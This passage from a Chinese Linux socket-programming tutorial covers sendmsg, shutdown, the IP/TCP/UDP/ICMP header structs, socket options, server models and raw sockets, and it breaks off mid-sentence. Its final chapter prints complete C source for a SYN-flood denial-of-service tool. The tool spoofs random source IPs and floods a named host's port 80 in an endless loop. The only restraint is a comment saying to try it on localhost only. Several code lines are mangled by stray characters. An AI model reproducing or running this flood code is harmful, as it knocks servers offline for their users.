recvmsg和sendmsg可以實(shí)現(xiàn)前面所有的讀寫函數(shù)的功能.
int recvmsg(int sockfd,struct msghdr *msg,int flags)
int sendmsg(int sockfd,struct msghdr *msg,int flags)
struct msghdr
{
void *msg_name;
int msg_namelen;
struct iovec *msg_iov;
int msg_iovlen;
void *msg_control;
int msg_controllen;
int msg_flags;
}
struct iovec
{
void *iov_base; /* 緩沖區(qū)開始的地址 */
size_t iov_len; /* 緩沖區(qū)的長(zhǎng)度 */
}
msg_name和 msg_namelen當(dāng)套接字是非面向連接時(shí)(UDP),它們存儲(chǔ)接收和發(fā)送方的地址
信息.msg_name實(shí)際上是一個(gè)指向struct sockaddr的指針,msg_name是結(jié)構(gòu)的長(zhǎng)度.當(dāng)套
接字是面向連接時(shí),這兩個(gè)值應(yīng)設(shè)為NULL. msg_iov和msg_iovlen指出接受和發(fā)送的緩沖
區(qū)內(nèi)容.msg_iov是一個(gè)結(jié)構(gòu)指針,msg_iovlen指出這個(gè)結(jié)構(gòu)數(shù)組的大小. msg_control和
msg_controllen這兩個(gè)變量是用來接收和發(fā)送控制數(shù)據(jù)時(shí)的 msg_flags指定接受和發(fā)送
的操作選項(xiàng).和recv,send的選項(xiàng)一樣
6.4 套接字的關(guān)閉
關(guān)閉套接字有兩個(gè)函數(shù)close和shutdown.用close時(shí)和我們關(guān)閉文件一樣.
6.5 shutdown
int shutdown(int sockfd,int howto)
TCP連接是雙向的(是可讀寫的),當(dāng)我們使用close時(shí),會(huì)把讀寫通道都關(guān)閉,有時(shí)侯我們希
望只關(guān)閉一個(gè)方向,這個(gè)時(shí)候我們可以使用shutdown.針對(duì)不同的howto,系統(tǒng)回采取不同
的關(guān)閉方式.
howto=0這個(gè)時(shí)候系統(tǒng)會(huì)關(guān)閉讀通道.但是可以繼續(xù)往接字描述符寫.
howto=1關(guān)閉寫通道,和上面相反,著時(shí)候就只可以讀了.
howto=2關(guān)閉讀寫通道,和close一樣 在多進(jìn)程程序里面,如果有幾個(gè)子進(jìn)程共享一個(gè)套接
字時(shí),如果我們使用shutdown, 那么所有的子進(jìn)程都不能夠操作了,這個(gè)時(shí)候我們只能夠
使用close來關(guān)閉子進(jìn)程的套接字描述符.



網(wǎng)絡(luò)編程(7)

7. TCP/IP協(xié)議
你也許聽說過TCP/IP協(xié)議,那么你知道到底什么是TCP,什么是IP嗎?在這一章里面,我們一
起來學(xué)習(xí)這個(gè)目前網(wǎng)絡(luò)上用最廣泛的協(xié)議.
7.1 網(wǎng)絡(luò)傳輸分層
如果你考過計(jì)算機(jī)等級(jí)考試,那么你就應(yīng)該已經(jīng)知道了網(wǎng)絡(luò)傳輸分層這個(gè)概念.在網(wǎng)絡(luò)上
,人們?yōu)榱藗鬏敂?shù)據(jù)時(shí)的方便,把網(wǎng)絡(luò)的傳輸分為7個(gè)層次.分別是:應(yīng)用層,表示層,會(huì)話層
,傳輸層,網(wǎng)絡(luò)層,數(shù)據(jù)鏈路層和物理層.分好了層以后,傳輸數(shù)據(jù)時(shí),上一層如果要數(shù)據(jù)的
話,就可以直接向下一層要了,而不必要管數(shù)據(jù)傳輸?shù)募?xì)節(jié).下一層也只向它的上一層提供
數(shù)據(jù),而不要去管其它東西了.如果你不想考試,你沒有必要去記這些東西的.只要知道是
分層的,而且各層的作用不同.
7.2 IP協(xié)議
IP協(xié)議是在網(wǎng)絡(luò)層的協(xié)議.它主要完成數(shù)據(jù)包的發(fā)送作用. 下面這個(gè)表是IP4的數(shù)據(jù)包格

0 4 8 16 32
--------------------------------------------------
|版本 |首部長(zhǎng)度|服務(wù)類型| 數(shù)據(jù)包總長(zhǎng) |
--------------------------------------------------
| 標(biāo)識(shí) |DF |MF| 碎片偏移 |
--------------------------------------------------
| 生存時(shí)間 | 協(xié)議 | 首部較驗(yàn)和 |
------------------------------------------------
| 源IP地址 |
------------------------------------------------
| 目的IP地址 |
-------------------------------------------------
| 選項(xiàng) |
=================================================
| 數(shù)據(jù) |
-------------------------------------------------
下面我們看一看IP的結(jié)構(gòu)定義<netinet/ip.h>;
struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ip_hl:4; /* header length */
unsigned int ip_v:4; /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
unsigned int ip_v:4; /* version */
unsigned int ip_hl:4; /* header length */
#endif
u_int8_t ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
u_int8_t ip_ttl; /* time to live */
u_int8_t ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src, ip_dst; /* source and dest address */
};
ip_vIP協(xié)議的版本號(hào),這里是4,現(xiàn)在IPV6已經(jīng)出來了
ip_hlIP包首部長(zhǎng)度,這個(gè)值以4字節(jié)為單位.IP協(xié)議首部的固定長(zhǎng)度為20個(gè)字節(jié),如果IP包
沒有選項(xiàng),那么這個(gè)值為5.
ip_tos服務(wù)類型,說明提供的優(yōu)先權(quán).
ip_len說明IP數(shù)據(jù)的長(zhǎng)度.以字節(jié)為單位.
ip_id標(biāo)識(shí)這個(gè)IP數(shù)據(jù)包.
ip_off碎片偏移,這和上面ID一起用來重組碎片的.
ip_ttl生存時(shí)間.沒經(jīng)過一個(gè)路由的時(shí)候減一,直到為0時(shí)被拋棄.
ip_p協(xié)議,表示創(chuàng)建這個(gè)IP數(shù)據(jù)包的高層協(xié)議.如TCP,UDP協(xié)議.
ip_sum首部校驗(yàn)和,提供對(duì)首部數(shù)據(jù)的校驗(yàn).
ip_src,ip_dst發(fā)送者和接收者的IP地址
關(guān)于IP協(xié)議的詳細(xì)情況,請(qǐng)參考 RFC791
7.3 ICMP協(xié)議
ICMP是消息控制協(xié)議,也處于網(wǎng)絡(luò)層.在網(wǎng)絡(luò)上傳遞IP數(shù)據(jù)包時(shí),如果發(fā)生了錯(cuò)誤,那么就
會(huì)用ICMP協(xié)議來報(bào)告錯(cuò)誤.
ICMP包的結(jié)構(gòu)如下:
0 8 16 32
---------------------------------------------------------------------
| 類型 | 代碼 | 校驗(yàn)和 |
--------------------------------------------------------------------
| 數(shù)據(jù) | 數(shù)據(jù) |
--------------------------------------------------------------------
ICMP在<netinet/ip_icmp.h>;中的定義是
struct icmphdr
{
u_int8_t type; /* message type */
u_int8_t code; /* type sub-code */
u_int16_t checksum;
union
{
struct
{
u_int16_t id;
u_int16_t sequence;
} echo; /* echo datagram */
u_int32_t gateway; /* gateway address */
struct
{
u_int16_t __unused;
u_int16_t mtu;
} frag; /* path mtu discovery */
} un;
};
關(guān)于ICMP協(xié)議的詳細(xì)情況可以查看 RFC792
7.4 UDP協(xié)議
UDP協(xié)議是建立在IP協(xié)議基礎(chǔ)之上的,用在傳輸層的協(xié)議.UDP和IP協(xié)議一樣是不可靠的數(shù)
據(jù)報(bào)服務(wù).UDP的頭格式為:
0 16 32
---------------------------------------------------
| UDP源端口 | UDP目的端口 |
---------------------------------------------------
| UDP數(shù)據(jù)報(bào)長(zhǎng)度 | UDP數(shù)據(jù)報(bào)校驗(yàn) |
---------------------------------------------------
UDP結(jié)構(gòu)在<netinet/udp.h>;中的定義為:
struct udphdr {
u_int16_t source;
u_int16_t dest;
u_int16_t len;
u_int16_t check;
};
關(guān)于UDP協(xié)議的詳細(xì)情況,請(qǐng)參考 RFC768
7.5 TCP
TCP協(xié)議也是建立在IP協(xié)議之上的,不過TCP協(xié)議是可靠的.按照順序發(fā)送的.TCP的數(shù)據(jù)結(jié)
構(gòu)比前面的結(jié)構(gòu)都要復(fù)雜.
0 4 8 10 16 24 32
-------------------------------------------------------------------
| 源端口 | 目的端口 |
-------------------------------------------------------------------
| 序列號(hào) |
------------------------------------------------------------------
| 確認(rèn)號(hào) |
------------------------------------------------------------------
| | |U|A|P|S|F| |
|首部長(zhǎng)度| 保留 |R|C|S|Y|I| 窗口 |
| | |G|K|H|N|N| |
-----------------------------------------------------------------
| 校驗(yàn)和 | 緊急指針 |
-----------------------------------------------------------------
| 選項(xiàng) | 填充字節(jié) |
-----------------------------------------------------------------
TCP的結(jié)構(gòu)在<netinet/tcp.h>;中定義為:
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
#endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_prt;
};
source發(fā)送TCP數(shù)據(jù)的源端口
dest接受TCP數(shù)據(jù)的目的端口
seq標(biāo)識(shí)該TCP所包含的數(shù)據(jù)字節(jié)的開始序列號(hào)
ack_seq確認(rèn)序列號(hào),表示接受方下一次接受的數(shù)據(jù)序列號(hào).
doff數(shù)據(jù)首部長(zhǎng)度.和IP協(xié)議一樣,以4字節(jié)為單位.一般的時(shí)候?yàn)?
urg如果設(shè)置緊急數(shù)據(jù)指針,則該位為1
ack如果確認(rèn)號(hào)正確,那么為1
psh如果設(shè)置為1,那么接收方收到數(shù)據(jù)后,立即交給上一層程序
rst為1的時(shí)候,表示請(qǐng)求重新連接
syn為1的時(shí)候,表示請(qǐng)求建立連接
fin為1的時(shí)候,表示親戚關(guān)閉連接
window窗口,告訴接收者可以接收的大小
check對(duì)TCP數(shù)據(jù)進(jìn)行較核
urg_ptr如果urg=1,那么指出緊急數(shù)據(jù)對(duì)于歷史數(shù)據(jù)開始的序列號(hào)的偏移值
關(guān)于TCP協(xié)議的詳細(xì)情況,請(qǐng)查看 RFC793
7.6 TCP連接的建立
TCP協(xié)議是一種可靠的連接,為了保證連接的可靠性,TCP的連接要分為幾個(gè)步驟.我們把這
個(gè)連接過程稱為"三次握手".
下面我們從一個(gè)實(shí)例來分析建立連接的過程.
第一步客戶機(jī)向服務(wù)器發(fā)送一個(gè)TCP數(shù)據(jù)包,表示請(qǐng)求建立連接. 為此,客戶端將數(shù)據(jù)包的
SYN位設(shè)置為1,并且設(shè)置序列號(hào)seq=1000(我們假設(shè)為1000).
第二步服務(wù)器收到了數(shù)據(jù)包,并從SYN位為1知道這是一個(gè)建立請(qǐng)求的連接.于是服務(wù)器也
向客戶端發(fā)送一個(gè)TCP數(shù)據(jù)包.因?yàn)槭琼憫?yīng)客戶機(jī)的請(qǐng)求,于是服務(wù)器設(shè)置ACK為1,sak_se
q=1001(1000+1)同時(shí)設(shè)置自己的序列號(hào).seq=2000(我們假設(shè)為2000).
第三步客戶機(jī)收到了服務(wù)器的TCP,并從ACK為1和ack_seq=1001知道是從服務(wù)器來的確認(rèn)
信息.于是客戶機(jī)也向服務(wù)器發(fā)送確認(rèn)信息.客戶機(jī)設(shè)置ACK=1,和ack_seq=2001,seq=100
1,發(fā)送給服務(wù)器.至此客戶端完成連接.
最后一步服務(wù)器受到確認(rèn)信息,也完成連接.
通過上面幾個(gè)步驟,一個(gè)TCP連接就建立了.當(dāng)然在建立過程中可能出現(xiàn)錯(cuò)誤,不過TCP協(xié)議
可以保證自己去處理錯(cuò)誤的.
說一說其中的一種錯(cuò)誤.
聽說過DOS嗎?(可不是操作系統(tǒng)啊).今年春節(jié)的時(shí)候,美國(guó)的五大網(wǎng)站一起受到攻擊.攻
擊者用的就是DOS(拒絕式服務(wù))方式.概括的說一下原理.
客戶機(jī)先進(jìn)行第一個(gè)步驟.服務(wù)器收到后,進(jìn)行第二個(gè)步驟.按照正常的TCP連接,客戶機(jī)
應(yīng)該進(jìn)行第三個(gè)步驟.
不過攻擊者實(shí)際上并不進(jìn)行第三個(gè)步驟.因?yàn)榭蛻舳嗽谶M(jìn)行第一個(gè)步驟的時(shí)候,修改了自
己的IP地址,就是說將一個(gè)實(shí)際上不存在的IP填充在自己IP數(shù)據(jù)包的發(fā)送者的IP一欄.這
樣因?yàn)榉?wù)器發(fā)的IP地址沒有人接收,所以服務(wù)端會(huì)收不到第三個(gè)步驟的確認(rèn)信號(hào),這樣
服務(wù)務(wù)端會(huì)在那邊一直等待,直到超時(shí).
這樣當(dāng)有大量的客戶發(fā)出請(qǐng)求后,服務(wù)端會(huì)有大量等待,直到所有的資源被用光,而不能再
接收客戶機(jī)的請(qǐng)求.
這樣當(dāng)正常的用戶向服務(wù)器發(fā)出請(qǐng)求時(shí),由于沒有了資源而不能成功.于是就出現(xiàn)了春節(jié)
時(shí)所出現(xiàn)的情況.
----------------------------------------------------------------------------

網(wǎng)絡(luò)編程(8)

8. 套接字選項(xiàng)
有時(shí)候我們要控制套接字的行為(如修改緩沖區(qū)的大小),這個(gè)時(shí)候我們就要控制套接字的
選項(xiàng)了.
8.1 getsockopt和setsockopt
int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optl
en)
int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t
*optlen)
level指定控制套接字的層次.可以取三種值: 1)SOL_SOCKET:通用套接字選項(xiàng). 2)IPPRO
TO_IP:IP選項(xiàng). 3)IPPROTO_TCP:TCP選項(xiàng).
optname指定控制的方式(選項(xiàng)的名稱),我們下面詳細(xì)解釋
optval獲得或者是設(shè)置套接字選項(xiàng).根據(jù)選項(xiàng)名稱的數(shù)據(jù)類型進(jìn)行轉(zhuǎn)換
選項(xiàng)名稱 說明 數(shù)據(jù)類型
========================================================================
SOL_SOCKET
------------------------------------------------------------------------
SO_BROADCAST 允許發(fā)送廣播數(shù)據(jù) int
SO_DEBUG 允許調(diào)試 int
SO_DONTROUTE 不查找路由 int
SO_ERROR 獲得套接字錯(cuò)誤 int
SO_KEEPALIVE 保持連接 int
SO_LINGER 延遲關(guān)閉連接 struct linge
r
SO_OOBINLINE 帶外數(shù)據(jù)放入正常數(shù)據(jù)流 int
SO_RCVBUF 接收緩沖區(qū)大小 int
SO_SNDBUF 發(fā)送緩沖區(qū)大小 int
SO_RCVLOWAT 接收緩沖區(qū)下限 int
SO_SNDLOWAT 發(fā)送緩沖區(qū)下限 int
SO_RCVTIMEO 接收超時(shí) struct timev
al
SO_SNDTIMEO 發(fā)送超時(shí) struct timev
al
SO_REUSERADDR 允許重用本地地址和端口 int
SO_TYPE 獲得套接字類型 int
SO_BSDCOMPAT 與BSD系統(tǒng)兼容 int
==========================================================================
IPPROTO_IP
--------------------------------------------------------------------------
IP_HDRINCL 在數(shù)據(jù)包中包含IP首部 int
IP_OPTINOS IP首部選項(xiàng) int
IP_TOS 服務(wù)類型
IP_TTL 生存時(shí)間 int
==========================================================================
IPPRO_TCP
--------------------------------------------------------------------------
TCP_MAXSEG TCP最大數(shù)據(jù)段的大小 int
TCP_NODELAY 不使用Nagle算法 int
=========================================================================
關(guān)于這些選項(xiàng)的詳細(xì)情況請(qǐng)查看 Linux Programmer‘s Manual
8.2 ioctl
ioctl可以控制所有的文件描述符的情況,這里介紹一下控制套接字的選項(xiàng).
int ioctl(int fd,int req,...)
==========================================================================
ioctl的控制選項(xiàng)
--------------------------------------------------------------------------
SIOCATMARK 是否到達(dá)帶外標(biāo)記 int
FIOASYNC 異步輸入/輸出標(biāo)志 int
FIONREAD 緩沖區(qū)可讀的字節(jié)數(shù) int
==========================================================================
詳細(xì)的選項(xiàng)請(qǐng)用 man ioctl_list 查看.
--

網(wǎng)絡(luò)編程(9)

9. 服務(wù)器模型
學(xué)習(xí)過《軟件工程》吧.軟件工程可是每一個(gè)程序員"必修"的課程啊.如果你沒有學(xué)習(xí)過
, 建議你去看一看. 在這一章里面,我們一起來從軟件工程的角度學(xué)習(xí)網(wǎng)絡(luò)編程的思想.
在我們寫程序之前, 我們都應(yīng)該從軟件工程的角度規(guī)劃好我們的軟件,這樣我們開發(fā)軟件
的效率才會(huì)高. 在網(wǎng)絡(luò)程序里面,一般的來說都是許多客戶機(jī)對(duì)應(yīng)一個(gè)服務(wù)器.為了處理
客戶機(jī)的請(qǐng)求, 對(duì)服務(wù)端的程序就提出了特殊的要求.我們學(xué)習(xí)一下目前最常用的服務(wù)器
模型.
循環(huán)服務(wù)器:循環(huán)服務(wù)器在同一個(gè)時(shí)刻只可以響應(yīng)一個(gè)客戶端的請(qǐng)求
并發(fā)服務(wù)器:并發(fā)服務(wù)器在同一個(gè)時(shí)刻可以響應(yīng)多個(gè)客戶端的請(qǐng)求
9.1 循環(huán)服務(wù)器:UDP服務(wù)器
UDP循環(huán)服務(wù)器的實(shí)現(xiàn)非常簡(jiǎn)單:UDP服務(wù)器每次從套接字上讀取一個(gè)客戶端的請(qǐng)求,處理
, 然后將結(jié)果返回給客戶機(jī).
可以用下面的算法來實(shí)現(xiàn).
socket(...);
bind(...);
while(1)
{
recvfrom(...);
process(...);
sendto(...);
}
因?yàn)閁DP是非面向連接的,沒有一個(gè)客戶端可以老是占住服務(wù)端. 只要處理過程不是死循
環(huán), 服務(wù)器對(duì)于每一個(gè)客戶機(jī)的請(qǐng)求總是能夠滿足.
9.2 循環(huán)服務(wù)器:TCP服務(wù)器
TCP循環(huán)服務(wù)器的實(shí)現(xiàn)也不難:TCP服務(wù)器接受一個(gè)客戶端的連接,然后處理,完成了這個(gè)客
戶的所有請(qǐng)求后,斷開連接.
算法如下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
}
TCP循環(huán)服務(wù)器一次只能處理一個(gè)客戶端的請(qǐng)求.只有在這個(gè)客戶的所有請(qǐng)求都滿足后,
服務(wù)器才可以繼續(xù)后面的請(qǐng)求.這樣如果有一個(gè)客戶端占住服務(wù)器不放時(shí),其它的客戶機(jī)
都不能工作了.因此,TCP服務(wù)器一般很少用循環(huán)服務(wù)器模型的.
9.3 并發(fā)服務(wù)器:TCP服務(wù)器
為了彌補(bǔ)循環(huán)TCP服務(wù)器的缺陷,人們又想出了并發(fā)服務(wù)器的模型. 并發(fā)服務(wù)器的思想是
每一個(gè)客戶機(jī)的請(qǐng)求并不由服務(wù)器直接處理,而是服務(wù)器創(chuàng)建一個(gè) 子進(jìn)程來處理.
算法如下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
if(fork(..)==0)
{
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
exit(...);
}
close(...);
}
TCP并發(fā)服務(wù)器可以解決TCP循環(huán)服務(wù)器客戶機(jī)獨(dú)占服務(wù)器的情況. 不過也同時(shí)帶來了一
個(gè)不小的問題.為了響應(yīng)客戶機(jī)的請(qǐng)求,服務(wù)器要?jiǎng)?chuàng)建子進(jìn)程來處理. 而創(chuàng)建子進(jìn)程是一
種非常消耗資源的操作.
9.4 并發(fā)服務(wù)器:多路復(fù)用I/O
為了解決創(chuàng)建子進(jìn)程帶來的系統(tǒng)資源消耗,人們又想出了多路復(fù)用I/O模型.
首先介紹一個(gè)函數(shù)select
int select(int nfds,fd_set *readfds,fd_set *writefds,
fd_set *except fds,struct timeval *timeout)
void FD_SET(int fd,fd_set *fdset)
void FD_CLR(int fd,fd_set *fdset)
void FD_ZERO(fd_set *fdset)
int FD_ISSET(int fd,fd_set *fdset)
一般的來說當(dāng)我們?cè)谙蛭募x寫時(shí),進(jìn)程有可能在讀寫出阻塞,直到一定的條件滿足. 比
如我們從一個(gè)套接字讀數(shù)據(jù)時(shí),可能緩沖區(qū)里面沒有數(shù)據(jù)可讀(通信的對(duì)方還沒有 發(fā)送數(shù)
據(jù)過來),這個(gè)時(shí)候我們的讀調(diào)用就會(huì)等待(阻塞)直到有數(shù)據(jù)可讀.如果我們不 希望阻塞
,我們的一個(gè)選擇是用select系統(tǒng)調(diào)用. 只要我們?cè)O(shè)置好select的各個(gè)參數(shù),那么當(dāng)文件
可以讀寫的時(shí)候select回"通知"我們 說可以讀寫了. readfds所有要讀的文件文件描述
符的集合
writefds所有要的寫文件文件描述符的集合
exceptfds其他的服要向我們通知的文件描述符
timeout超時(shí)設(shè)置.
nfds所有我們監(jiān)控的文件描述符中最大的那一個(gè)加1
在我們調(diào)用select時(shí)進(jìn)程會(huì)一直阻塞直到以下的一種情況發(fā)生. 1)有文件可以讀.2)有文
件可以寫.3)超時(shí)所設(shè)置的時(shí)間到.
為了設(shè)置文件描述符我們要使用幾個(gè)宏. FD_SET將fd加入到fdset
FD_CLR將fd從fdset里面清除
FD_ZERO從fdset中清除所有的文件描述符
FD_ISSET判斷fd是否在fdset集合中
使用select的一個(gè)例子
int use_select(int *readfd,int n)
{
fd_set my_readfd;
int maxfd;
int i;
maxfd=readfd[0];
for(i=1;i<n;i++)
if(readfd>;maxfd) maxfd=readfd;
while(1)
{
/* 將所有的文件描述符加入 */
FD_ZERO(&my_readfd);
for(i=0;i<n;i++)
FD_SET(readfd,*my_readfd);
/* 進(jìn)程阻塞 */
select(maxfd+1,& my_readfd,NULL,NULL,NULL);
/* 有東西可以讀了 */
for(i=0;i<n;i++)
if(FD_ISSET(readfd,&my_readfd))
{
/* 原來是我可以讀了 */
we_read(readfd);
}
}
}
使用select后我們的服務(wù)器程序就變成了.
初始話(socket,bind,listen);
while(1)
{
設(shè)置監(jiān)聽讀寫文件描述符(FD_*);
調(diào)用select;
如果是傾聽套接字就緒,說明一個(gè)新的連接請(qǐng)求建立
{
建立連接(accept);
加入到監(jiān)聽文件描述符中去;
}
否則說明是一個(gè)已經(jīng)連接過的描述符
{
進(jìn)行操作(read或者write);
}
}
多路復(fù)用I/O可以解決資源限制的問題.著模型實(shí)際上是將UDP循環(huán)模型用在了TCP上面.
這也就帶來了一些問題.如由于服務(wù)器依次處理客戶的請(qǐng)求,所以可能會(huì)導(dǎo)致有的客戶 會(huì)
等待很久.
9.5 并發(fā)服務(wù)器:UDP服務(wù)器
人們把并發(fā)的概念用于UDP就得到了并發(fā)UDP服務(wù)器模型. 并發(fā)UDP服務(wù)器模型其實(shí)是簡(jiǎn)單
的.和并發(fā)的TCP服務(wù)器模型一樣是創(chuàng)建一個(gè)子進(jìn)程來處理的 算法和并發(fā)的TCP模型一樣
..
除非服務(wù)器在處理客戶端的請(qǐng)求所用的時(shí)間比較長(zhǎng)以外,人們實(shí)際上很少用這種模型.
9.6 一個(gè)并發(fā)TCP服務(wù)器實(shí)例
#i nclude <sys/socket.h>;
#i nclude <sys/types.h>;
#i nclude <netinet/in.h>;
#i nclude <string.h>;
#i nclude <errno.h>;
#define MY_PORT 8888
int main(int argc ,char **argv)
{
int listen_fd,accept_fd;
struct sockaddr_in client_addr;
int n;
if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Socket Error:%s\n\a",strerror(errno));
exit(1);
}
bzero(&client_addr,sizeof(struct sockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
n=1;
/* 如果服務(wù)器終止后,服務(wù)器可以第二次快速啟動(dòng)而不用等待一段時(shí)間 */
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
{
printf("Bind Error:%s\n\a",strerror(errno));
exit(1);
}
listen(listen_fd,5);
while(1)
{
accept_fd=accept(listen_fd,NULL,NULL);
if((accept_fd<0)&&(errno==EINTR))
continue;
else if(accept_fd<0)
{
printf("Accept Error:%s\n\a",strerror(errno));
continue;
}
if((n=fork())==0)
{
/* 子進(jìn)程處理客戶端的連接 */
char buffer[1024];
close(listen_fd);
n=read(accept_fd,buffer,1024);
write(accept_fd,buffer,n);
close(accept_fd);
exit(0);
}
else if(n<0)
printf("Fork Error:%s\n\a",strerror(errno));
close(accept_fd);
}
}
你可以用我們前面寫客戶端程序來調(diào)試著程序,或者是用來telnet調(diào)試
--

網(wǎng)絡(luò)編程(10)

10. 原始套接字
我們?cè)谇懊嬉呀?jīng)學(xué)習(xí)過了網(wǎng)絡(luò)程序的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章
里面我們一起來學(xué)習(xí)另外一種套接字--原始套接字(SOCK_RAW). 應(yīng)用原始套接字,我們可
以編寫出由TCP和UDP套接字不能夠?qū)崿F(xiàn)的功能. 注意原始套接字只能夠由有root權(quán)限的
人創(chuàng)建.
10.1 原始套接字的創(chuàng)建
int sockfd(AF_INET,SOCK_RAW,protocol)
可以創(chuàng)建一個(gè)原始套接字.根據(jù)協(xié)議的類型不同我們可以創(chuàng)建不同類型的原始套接字 比
如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.詳細(xì)的情況查看 <netinet/in.h>; 下
面我們以一個(gè)實(shí)例來說明原始套接字的創(chuàng)建和使用
10.2 一個(gè)原始套接字的實(shí)例
還記得DOS是什么意思嗎?在這里我們就一起來編寫一個(gè)實(shí)現(xiàn)DOS的小程序. 下面是程序的
源代碼
/******************** DOS.c *****************/
#i nclude <sys/socket.h>;
#i nclude <netinet/in.h>;
#i nclude <netinet/ip.h>;
#i nclude <netinet/tcp.h>;
#i nclude <stdlib.h>;
#i nclude <errno.h>;
#i nclude <unistd.h>;
#i nclude <stdio.h>;
#i nclude <netdb.h>;
#define DESTPORT 80 /* 要攻擊的端口(WEB) */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->;h_addr_list[0]);
}
/**** 使用IPPROTO_TCP創(chuàng)建一個(gè)TCP的原始套接字 ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}
/******** 設(shè)置IP數(shù)據(jù)包格式,告訴系統(tǒng)內(nèi)核模塊IP數(shù)據(jù)包由我們自己來填寫 ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 沒有辦法,只用超級(jí)護(hù)用戶才可以使用原始套接字 *********/
setuid(getpid());
/********* 發(fā)送炸彈了!!!! ****/
send_tcp(sockfd,&addr);
}
/******* 發(fā)送炸彈的實(shí)現(xiàn) *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用來放置我們的數(shù)據(jù)包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 我們的數(shù)據(jù)包實(shí)際上沒有任何內(nèi)容,所以長(zhǎng)度就是兩個(gè)結(jié)構(gòu)的長(zhǎng)度 ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/******** 填充IP數(shù)據(jù)包的頭部,還記得IP的頭格式嗎? ******/
ip=(struct ip *)buffer;
ip->;ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->;ip_hl=sizeof(struct ip)>;>;2; /** IP數(shù)據(jù)包的頭部長(zhǎng)度 **/
ip->;ip_tos=0; /** 服務(wù)類型 **/
ip->;ip_len=htons(head_len); /** IP數(shù)據(jù)包的長(zhǎng)度 **/
ip->;ip_id=0; /** 讓系統(tǒng)去填寫吧 **/
ip->;ip_off=0; /** 和上面一樣,省點(diǎn)時(shí)間 **/
ip->;ip_ttl=MAXTTL; /** 最長(zhǎng)的時(shí)間 255 **/
ip->;ip_p=IPPROTO_TCP; /** 我們要發(fā)的是 TCP包 **/
ip->;ip_sum=0; /** 校驗(yàn)和讓系統(tǒng)去做 **/
ip->;ip_dst=addr->;sin_addr; /** 我們攻擊的對(duì)象 **/
/******* 開始填寫TCP數(shù)據(jù)包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->;source=htons(LOCALPORT);
tcp->;dest=addr->;sin_port; /** 目的端口 **/
tcp->;seq=random();
tcp->;ack_seq=0;
tcp->;doff=5;
tcp->;syn=1; /** 我要建立連接 **/
tcp->;check=0;
/** 好了,一切都準(zhǔn)備好了.服務(wù)器,你準(zhǔn)備好了沒有?? ^_^ **/
while(1)
{
/** 你不知道我是從那里來的,慢慢的去等吧! **/
ip->;ip_src.s_addr=random();
/** 什么都讓系統(tǒng)做了,也沒有多大的意思,還是讓我們自己來校驗(yàn)頭部吧 */
/** 下面這條可有可無 */
tcp->;check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}
/* 下面是首部校驗(yàn)和的算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>;1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>;>;16)+(sum&0xffff);
sum+=(sum>;>;16);
answer=~sum;
return(answer);
}
編譯一下,拿localhost做一下實(shí)驗(yàn),看看有什么結(jié)果.(千萬不要試別人的啊). 為了讓普
